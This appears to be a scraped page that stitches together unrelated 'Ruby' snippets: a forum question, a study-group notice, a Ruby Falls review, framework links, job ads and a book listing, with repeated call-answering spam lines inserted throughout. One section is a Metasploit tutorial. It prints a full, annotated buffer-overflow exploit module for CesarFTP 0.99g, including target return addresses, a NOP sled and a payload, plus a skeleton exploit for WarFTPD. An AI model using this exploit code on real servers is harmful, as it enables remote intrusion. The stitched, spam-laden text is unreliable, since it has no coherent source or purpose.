Ruby On Rails

ago by cdwillis

sorry, this has been archived and can no longer be voted on

I started getting interested in programming and checked out Ruby right around the time Why The Lucky Stiff’s website and code disappeared. Because of that I started learning python. I’m still interested in Ruby though.

New enquiries are the life line of any business, don’t ever miss calls, get a Call Answering Services for pease of mind.

What do you guys use Ruby for? I know it can be used as a scripting language, but the speed is supposedly lacking. Does everyone mostly use it for Rails development?

What resources do you recommend for learning Ruby? Should I jump straight to 1.9?

source

18 Feb 2012 5:12PM

Hey all,

In preparation for our first class, everyone who’s planning to attend should join this mailing list I made for our group: http://groups.google.com/group/nyc-tps-intro-to-ruby . It’ll help us structure our discussions a bit more than is possible on here.

New customers are the life line of any company, don’t ever let your phone be unanswered, get a Call Answering Services for pease of mind.

Second, everyone should try to get Git working on their machine. Git is a version control system we’re going to be using to share our work with each other via the social coding site Github. There are instructions on how you can get Git set up here: http://help.github.com/set-up-git-redirect . If you get it working on your machine, set up a fork of my project here: https://github.com/benmoss/Learn-Ruby-the-Hard-Way .

Lastly, I’m thinking it’s a good idea for us to get started on the material in advance of the first class. Let’s try to get through lesson 10 before Sunday. If you get stuck on anything, or have any questions, please post to the Google group. You can see my files for the first two lessons already on my Github page, follow that example and we will be able to review each other’s work via the network page as everyone joins in: https://github.com/benmoss/Learn-Ruby-the-Hard-Way/network

from: mossity

26 Feb 2012 12:45PM

Just a reminder that we’ll be meeting at 1pm at 155 Freeman St. in Brooklyn today. Hope you can make it!

source

In the Metasploit Framework, an exploit is called an “exploit module”.

Exploit modules are located by default in:

C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\

(also check C:\Documents and Settings\\Application Data\msf3\modules\exploits if you do not find in above path)

New enquiries are the life blood of any company, don’t ever miss calls, get a Call Answering Services for pease of mind.

Exploit modules are classified by platforms (OSes) and then by types (protocols).

[ edit ] Editing an exploit module

A good way to understand how an exploit module is written is to first edit one.

We edit this module:

C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\cesarftp_mkd.rb

#Notes of the author are noted in red.

## # $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## #Comment lines start with a # (they won’t be executed) require ‘msf/core’ #We will always need the core library module Msf #This line should always be present class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote #The name of the class (Exploits::Windows::Ftp::Cesarftp_Mkd) specifies where the exploit module #is physically located (*\exploits\windows\ftp\cesarftp_mkd.rb). The filename of the exploit #module (cesarftp_mkd.rb) should be the same as the name of the class (Cesarftp_Mkd)

include Exploit::Remote::Ftp #We use MSF’s built-in Ftp functions def initialize(info = {}) super(update_info(info, ‘Name’ => ‘Cesar FTP 0.99g MKD Command Buffer Overflow’, #An understandable, detailed name (displayed in the console) ‘Description’ => %q{ This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g. #The description of the module/vulnerability }, ‘Author’ => ‘MC’, #The (nick)name of the author of this module ‘License’ => MSF_LICENSE, #Type of license ‘Version’ => ‘$Revision: 4419 $’, #Version number of the module ‘References’ => #Various ‘URLs’ about the vulnerability [ [ 'BID', '18586'], [ 'CVE', '2006-2961'], [ 'URL', 'http://secunia.com/advisories/20574/' ], ], ‘Privileged’ => true, ‘DefaultOptions’ => { ‘EXITFUNC’ => ‘process’, }, ‘Payload’ => { ‘Space’ => 250, #Maximum space available in memory to store the shellcode (payload) ‘BadChars’ => “\x00\x20\x0a\x0d”, #List of the forbidden characters ‘StackAdjustment’ => -3500, }, ‘Platform’ => ‘win’, #Type of the target’s platform ‘Targets’ => #List of the targets and return addresses [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ], [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], [ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ], ], ‘DisclosureDate’ => ‘Jun 12 2006′, #Vulnerability disclosure date ‘DefaultTarget’ => 0 #Default target used if not specified by the user (in this case: Windows 2000 Pro SP4 English) ) ) end def check #Function used to check if a target is vulnerable connect disconnect if (banner =~ /CesarFTP 0\.99g/) #We test the banner returned by the server return Exploit::CheckCode::Vulnerable #The server is vulnerable end return Exploit::CheckCode::Safe #The server is NOT vulnerable end def exploit #We defines our exploit connect_login #We use the Ftp login function sploit = “\n” * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Padding sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded #Return address (little endian converted) + nop sled + payload print_status("Trying target #{target.name}...") send_cmd( ['MKD', sploit] , false) #We send our exploit code to the target handler disconnect #We close the connection end end end

[ edit ] Writing an exploit module

[ edit ] The target

To understand how to write an exploit module for the Metasploit Framework, we’ll write an exploit for an easily exploitable vulnerability in WarFTPD version 1.5 [2].

(Note that the exploit module for this vulnerability already exists in the Metasploit Framework, but we are trying to build our own exploit.)

We download and install WarFTPD in our local Windows machine.

We start WarFTPD Daemon.

We uncheck the “No anonymous logins” checkbox.

We start the FTP server (click on the “Go Online/Offline” button)

Ok, the server is now waiting for us…

[ edit ] The vulnerability

The first thing to do is to find information about the vulnerability in question. There are many possible sources for this.

Here’s an example:

We now see that the bug can be triggered by sending a specially crafted request in the USER command.

Often a very long string will trigger this sort of bug, but let’s verify that.

We first reproduce the vulnerability.

For this, we directly use the Metasploit Framework.

We create the file:

C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\warftpd.rb

We open this file and write (copy/paste) the following code in it:

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## require ‘msf/core’ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking #The names of the exploit module and the class are 'equal' include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => ‘War-FTPD 1.65 Username Overflow’, ‘Description’ => %q{ This module exploits a buffer overflow found in the USER command of War-FTPD 1.65. }, #End of Description ‘Author’ => ‘Your Name’, #Change this value with your (nick)name ‘License’ => MSF_LICENSE, ‘Version’ => ‘$Revision: 1 $’, ‘References’ => [ [ 'URL', ' http://osvdb.org/displayvuln.php?osvdb_id=875&print' ] #The URL mentioned above ], ‘DefaultOptions’ => { ‘EXITFUNC’ => ‘process’ }, ‘Payload’ => { ‘Space’ => 1000, #We actually don’t know the correct value for this ‘BadChars’ => “\x00″ #We actually don’t know the correct value for this }, ‘Targets’ => [ # Target 0 [ 'Our Windows Target', #Replace this with your Windows target platform (ie: Windows 2000 SP4) { 'Platform' => 'win', #We exploit a Windows target 'Ret' => 0x01020304 #We actually don't know the correct value for this } ] ] ) #End of update_info() ) #End of super() end #End of initialize def exploit connect print_status(“Trying target #{target.name}…”) exploit = ‘A’ * 1000 #We first try to trigger the bug by sending a long string of 1000 “A” send_cmd( ['USER', exploit] , false ) #We send our evil string handler disconnect #We disconnect from the server end #End of exploit end #End of class

The WarFTPD server is running (listening on default port 21/tcp).

We now launch the Metasploit Framework’s console.

(Start / Programs / Metasploit3 / MSFConsole)

We can now view our exploit using this command:

show exploits

We now launch our exploit using these commands:

use windows/ftp/warftpd

source

Orlando, FL

10/31/2010 1 Check-in Here

If you like confined spaces, slow lines and rubbing up against smelly people, have I got the place for you: Ruby Falls!

We decided to check this destination out on a weekend trip to Chattanooga because we read that it is an indoor waterfall. I love nature and I love waterfalls, so off we went.

New phone calls are the life line of any company, don’t ever let your phone be unanswered, get a Call Answering Services for pease of mind.

It is a bit steep at $17.95 per person, but you can’t put a price on fun. As we perused the gift shop looking at a spectacular array of Ruby Falls magnets and Ruby Falls oven mitts, somebody yelled “Next tour for Ruby Falls!”

A tour?

Oh yes, but not just any tour. It’s a tour of the caves with a “funny” guide involving intimate groups of 40 people. Apparently Ruby Falls is only accessible by caves. If you’re claustrophobic, your reaction to this should be an “Aww, crap.”

The cave tunnels are a bit on the small side. You’re not crawling around by any means, but there’s some ducking, squeezing, and dodging involved here. There’s a few sketchy areas in which I could see a small kid or a small grandma slipping and getting severely injured or even lodged.

You get to view a lot of rock formations. If you like rocks, you’ll be in heaven. Some of them are shiny and look pretty smooth, however I’d refrain from touching them unless you like tourist germs. There’s an occasional sign indicating if a rock kind of resembles something crazy, like an elephant’s foot, which is about as realistic as a Jesus image on a piece of toast.

Your intimate group of 40 people will crawl through the tunnels at a snail’s pace as everybody takes pictures that their relatives back home will never want to look at. If you’re lucky like we were, you’ll get stuck behind an ancient grandmother who is moving at .0001 MPH. The only way in is out, so groups that have visited the falls will exit by squeezing past you. They call the exiting groups “survivors,” and you’ll see the looks of disappointment on their faces.

After seeing all the rocks resembling elephants, the ducking, resisting the urge to freak out from claustrophobia, and rolling your eyes at stupid tour guide jokes, you reach Ruby Falls.

It is magic. You enter a dark, cool room where you hear the splash of water. At once, purple and blue lights come on and light up this splendid wonder of nature. Yanni blasts on the stereo and everybody takes pictures. It’s very New Age and would be absurd if it weren’t so pretty. Our tour guide, Captain Doofus, said he doesn’t know where Ruby Falls flows from, but with Yanni playing you’ll start to wonder if it’s from the tears of a million angels.

After 5 minutes, you exit the same way you came in past the other groups. This is even more frustrating than coming in as you’ve already seen everything and you’re pretty much over the fact that you’re in a cave. For me, this was when the claustrophobia kicked in a little bit. I tried to block it out by focusing on the smell that the man walking in front of us was producing.

Ruby Falls is pretty, but is it worth the hassle of being in a confining space for 90 minutes? Absolutely not. I know it’s rare for a tourist trap to be disappointing, but Ruby Falls is a big one.

Was this review &?

source

Admin Generator cheat sheet [pdf] (symfony-project.com)

symfony cheat-sheet: Criteria/Criterion/RS by Andria Bohner [pdf] (andreiabohner.wordpress.com)

Symfony Cheat-Sheet – Database Schema by Andria Bohner [pdf] (andreiabohner.wordpress.com)

High quality Australian Telco Services available from 1300 Numbers.

Symfony Cheat-Sheet – Model (Modelo) by Andria Bohner [pdf] (andreiabohner.wordpress.com)

Symfony Cheat-Sheet – View: partials, components, slots and component slots (DRY – Partials, Components, Slots e Component Slots do symfony) by Andria Bohner [pdf] (andreiabohner.wordpress.com)

Symfony Cheat-Sheet – View by Andria Bohner [pdf] (andreiabohner.wordpress.com)

Symfony Cheat-Sheet – Server Validation (Validao no Servidor) by Andria Bohner [pdf] (andreiabohner.wordpress.com)

Symfony Cheat-Sheet – Helpers Part 2 – FORMS (Form Helpers) by Andria Bohner [pdf, jpg] (andreiabohner.wordpress.com)

Symfony Cheat-Sheet – Helpers Part 1 – JAVASCRIP (JS) and AJAX (remote calls) (Helpers Javascript e Ajax) by Andria Bohner [pdf] (andreiabohner.wordpress.com)

Symfony Cheat Sheet – Directory Structure and CLI (Estrutura de diretrio e CLI (linha de comando)) by Andria Bohner [pdf, jpg] (andreiabohner.wordpress.com)

source

Catalyst ist ein MVC-Framework in Perl

Django ist ein quelloffenes MVC-Framework in Python

Grails basiert auf der Programmiersprache Groovy , eine Skriptsprache fr die JVM

Pylons ist ein quelloffenes Framework in Python

Tapestry5 ein Framework auf Basis der Java Servlet Api fr die JVM . [12]

Push sales through your website by making it nice and straightforward for your customers to get in contact you using Click To Call.

Akelos [13] , CodeIgniter [14] , CakePHP , Symfony , Zend Framework oder Agavi sind Beispiele fr quelloffene MVC-Frameworks fr PHP

Lift ist ein Framework fr Scala , eine Sprache fr die JVM

Merb, Sinatra [15] , Ramaze [16] und Camping sind wie Rails Ruby-Frameworks, die Rack benutzen und somit auch vermischt werden knnen. Ab Rails-Version 3 sind Rails und Merb fusioniert.

Weitere bekannte MVC-Frameworks sind Struts und JBoss Seam , die beide in Java implementiert sind.

[ Bearbeiten ] Literatur

Stefan Wintermeyer: Ruby on Rails 3.0 und 3.1, 2011, Online Version

Stefan Tennigkeit, Michael Voigt: Ruby on Rails 3: Mit DataMapper, I18N & L10N und Volltextsuche mit Sphinx entwickler.press 2010, ISBN 978-3868020267

Hussein Morsy, Tanja Otto: Ruby on Rails 3.1 (2. Auflage), Galileo Computing 2011, ISBN 978-3-8362-1490-2

David Thomas , David Heinemeier Hansson : Agile Web Development with Rails. Third Edition 2009, ISBN 978-1-93435-616-6 (Deutsche bersetzung der 1. Auflage: Agile Webentwicklung mit Rails, 2006. ISBN 3-446-40486-4 )

Ralf Wirdemann, Thomas Baustert: Rapid Web Development mit Ruby on Rails. Hanser 2006, ISBN 3-446-40932-7

Denny Carl: Praxiswissen Ruby on Rails, 2007, O’Reilly OpenBook

Rob Orsini: Rails Kochbuch, 2007, O’Reilly OpenBook

source

Posted on 2009-11-26. By anonymous.

Description

Elliot Smith, Rob Nichols, “Ruby on Rails Enterprise Application Development: Plan, Program, Extend: Building a complete Ruby on Rails business application from start to finish”

Packt Publishing (October 22, 2007) | English | 1847190855 | 528 pages | PDF | 6.89 MB

High quality Australian Communication Experts available from 1300 Numbers.

Building a complete Ruby on Rails business application from start to finish

* Create a non-trivial, business-focused Rails application

* Solve the real-world problems of developing and deploying Rails applications in a business environment

* Apply the principles behind Rails development to practical real-world situations

All businesses have processes that can be automated via computer applications, thereby reducing costs and simplifying everyday operations. This book demonstrates that a modern web application framework makes an ideal platform for such applications. It shows how the attributes that make the Rails framework so successful for Internet applications also provide great benefit within a business intranet. These attributes include easy roll-out and update of applications, centralized processing and data handling, simple maintenance, straightforward code development, and scalability.

Ruby on Rails is an open-source web application framework ideally suited to building business applications, accelerating and simplifying the creation of database-driven websites. Often shortened to Rails or RoR, it provides a stack of tools to rapidly build web applications based on the Model-View-Controller design pattern.

This book covers topics such as installing Ruby, Rubygems, and Rails on Windows, Linux, and Mac OS X; choosing and installing a database; installing an IDE for Rails development; setting up a Subversion repository to manage your code; creating a new Rails application; understanding Rails models; understanding controllers and views; improving user interfaces with Ajax; using Rails plugins to manage file uploads; using Capistrano to manage application deployment; techniques for scaling Rails applications, such as caching and using Apache to proxy through to the Mongrel server. The example application is straightforward to develop, easy to roll out, and simple to maintain.

What you will learn from this book?

* Creating a new Rails application

* Installing an IDE for Rails

* Connecting Rails to a database

* Utilizing Rails’ Model-View-Controller components

* Setting up Mongrel with Apache

* Adding Ajax to your Rails application

* Backing up Rails applications

* Adding an authentication system to your application

* Optimizing Rails applications using caching

* Scaling up your Rails production infrastructure using Apache, Mongrel, and load balancing

This book concentrates on application development as a whole process and is intended to complement existing Rails tutorials. Each chapter deals with a key feature or functional area of a complex, full-scale Rails application.

This book is aimed at developers who want to find out how to rapidly build easily-deployed, easily-supported business applications. It is for developers who have learned Ruby on Rails, probably from one of the tutorial books, and want to apply that knowledge to effectively build full, realistic applications.

Links

source

Aug 7, 2008 9:15 AM ( in response to Dr. Werner Von Braun )

Excuse me, but I have to object to the derrogatory comment.

I used the apple tutorial as a starting point and was rewarded by finding out what stage the prepackaged ruby and rails implementation was at. And getting a first hand look at using restful structure and seeing that the apple approach in the tutorials was limited by how rails is incorporated into the ide. Given that I was able to make the tutorial work and to show off some capability. It is a worthwhile effort and touches on resources, ajax, associations and scaffolding.

Push sales from your website by making it nice and easy for your visitors to contact you using Click To Call.

If you are learning rails and want to wade in from the shallow end this is a useful approach. Best of all – its free.

Once the tutorial is finished and running, then its time to examine your ide approach and strike out in a mature direction (unfortunately xcode 3 isn’t it).

I’ve found that when learning rails you can follow all the tutorials and feel like you know something. Take one step outside the tutorial and you learn quickly the water is deep and start drinking from the firehose of at least four different hydrants: namely Ruby, Rails, HTTP, CSS. Add in database knowledge, LDAP, Web design and others. In my case I also run Leopard Server and enjoy the support of Apple’s approach with web service integration and rails specifically. I couldn’t be happier with the way it works.

HTH,

Harry

mini 1.83 core 2 duo 2GB RAM + 500GB ext drive, Mac OS X (10.5.1), iMac G5, PB G4 (3)

source

By Joey of Global Nerdy 1 day ago.

If you’re comfortable programming in Ruby and develop (or want to develop) apps for iOS, you should give RubyMotion a try. Its creators came up with a nice way to sum it up: it’s “terminal-based workflow” that makes it easy for you to program iPhone and iPad apps in Ruby and build them with Rake. I’ve taken a couple of their starter apps for a spin, and the feeling I got was not unlike that first time I took Ruby on Rails for a spin.

Push signup from your website by making it simple and easy for your customers to contact you using Click To Call.

I’m going to write &

source

I get

-bash: /usr/bin/rails: No such file or directory

Why is Rails not working? Note: I have followed all steps from RVM website and Ruby command line work fine (

ruby -v

).

Medical Billing Non Voice BPO immediate OpeningsWalkin Now Call Ruby@9980455117 Back Office Medical Billing ProcessVoice-Nonvoice Back-End OperationsProvide…

Push signup from your website by making it simple and straightforward for your customers to contact your business using Click To Call.

From TimesJobs.com – 10 May 2012 20:11:14 GMT – View all Bangalore jobs

C#, ASP.net, ActionScript, Flash, and Objective C. Reubro is on the lookout for suitable candidates to meet our growing requirements, in Ruby on Rails platform:

From JobsOmega – 10 May 2012 17:22:38 GMT – View all Kochi jobs

Lead Mandatory Skill Sets… 1. Ruby 1.9.2 2. Ruby on rails 3.1 3. mongodb 4. mongomapper (mongo gem) 5. ruby on rails plugin integration 6…

From Jobdhundo – 10 May 2012 13:42:43 GMT – View all Kochi jobs

Globussoft Ruby on Rails Developer Company Profile… web standards Experience of agile methodologies Ruby (on frameworks such as rails) TDD API integration…

From Best Jobs India – 09 May 2012 14:11:40 GMT – View all Bhilai jobs

Job DescriptionExperience: 3 – 5 YearsLocation: PuneExperience Ruby with Unix Shell ScriptingEducation:Any GraduateCompany Profilehttp://www.arctern.comArctern…

From Shine.com – 09 May 2012 04:38:02 GMT – View all Pune jobs

reputed IT company at Mumbai (Tardeo, south Mumbai) Exp 1-3 yrs Skills (Any two) : Ruby, Python, Erlange, lisp, closure Core development involved in SDLC

From Naukri.com – 08 May 2012 20:04:08 GMT – View all Mumbai jobs

SPOT-OFFERS-International BPO Bangalore location Ruby 7676809765Hi,We have huge openings fromJanuary for MNC Bpos / Call Centre s in Bangalore and PuneSo does…

From TimesJobs.com – 08 May 2012 18:54:20 GMT – View all Bangalore jobs

Caring for people without having to take careof them is a mature Human, get set to grow.Work for the worlds largest call centers,Simple Customer Queries to be…

From TimesJobs.com – 08 May 2012 18:54:20 GMT – View all Bangalore jobs

Hi,We have huge openings from January for MNC Bpos / Call Centre s inBangalore and PuneSo does not waste time grab the opportunity…. )Walkin form Monday to…

From TimesJobs.com – 08 May 2012 18:54:19 GMT – View all Bangalore jobs

ROR / Rhomobile Developer should possess: 1. Hands on experience in Rhomobile with Ruby on rails. 2. Well versed with Rubyscripting, Javascript and HTML. 3…

From Naukri.com – 08 May 2012 13:48:39 GMT – View all jobs

Eat, Drink and Sleep Rails Need an understanding of HTML, CSS, JavaScript and AJAX To be a flexible, highly independent worker as well as an excellent team…

From Naukri.com – 08 May 2012 07:34:12 GMT – View all Hyderabad jobs

firm and by clients using Ruby On Rails. Design and… Ruby on Rails development deployment.Knowledge of AJAX/Flex a plus. Exposure in LAMP/J2EE along with Ruby…

From Shine.com – 08 May 2012 04:34:42 GMT – View all Thiruvananthapuram jobs

Deliverefficient, effective, professional and courteous service to intermediaries andcustomers Addressall customer and agent requests and queries within…

From TimesJobs.com – 07 May 2012 20:23:59 GMT – View all Bangalore jobs

Experience: 3-5 Years Location: Pune Experience Ruby with Unix Shell Scripting

From Naukri.com – 07 May 2012 18:57:41 GMT – View all Pune jobs

for design and development of applications using Ruby on Rails. Key responsibilities include design… for the job include: * Ruby on Rails * Java Script…

From Naukri.com – 07 May 2012 18:56:40 GMT – View all Mysore jobs

The job involves, *Web development using Ruby on Rails with Ruby Scripting for Database Models, MySQL… performance scalable applications in Ruby on Rails

From Naukri.com – 07 May 2012 06:32:05 GMT – View all Chennai jobs

Must Have: Ruby On Rails expertise Java script Console development Web development Nice to have – Web design experience.

From Naukri.com – 06 May 2012 23:14:56 GMT – View all jobs

Job Description: Responsible for developing, applying maintaining quality standards of the Software products/Applications. Should be able to demonstrate release…

From Shine.com – 06 May 2012 04:41:04 GMT – View all Thiruvananthapuram jobs

experience in Ruby on Rails 3.0 with Ajax using Jquery, Javascript and css. Experience of using various gems and plugins. Knowledge of Deploying Ruby on Rails…

From WiseStep – 06 May 2012 00:17:08 GMT – View all Ahmedabad jobs

URGENT REQUIREMENTS IN CALLCENTERS/BPOS CALL RUBY @9980455117White Horse is hiring people for Voice process for Bangalore and Pune. For nearly 15 BPOsInterviews…

From TimesJobs.com – 05 May 2012 19:29:54 GMT – View all Bangalore jobs

Description above from the Wikipedia article, licensed under CC-BY-SA.

CodeMunch is a trademark of Apptility Software Private Ltd.

2008-2011 Apptility Software Private Ltd.

source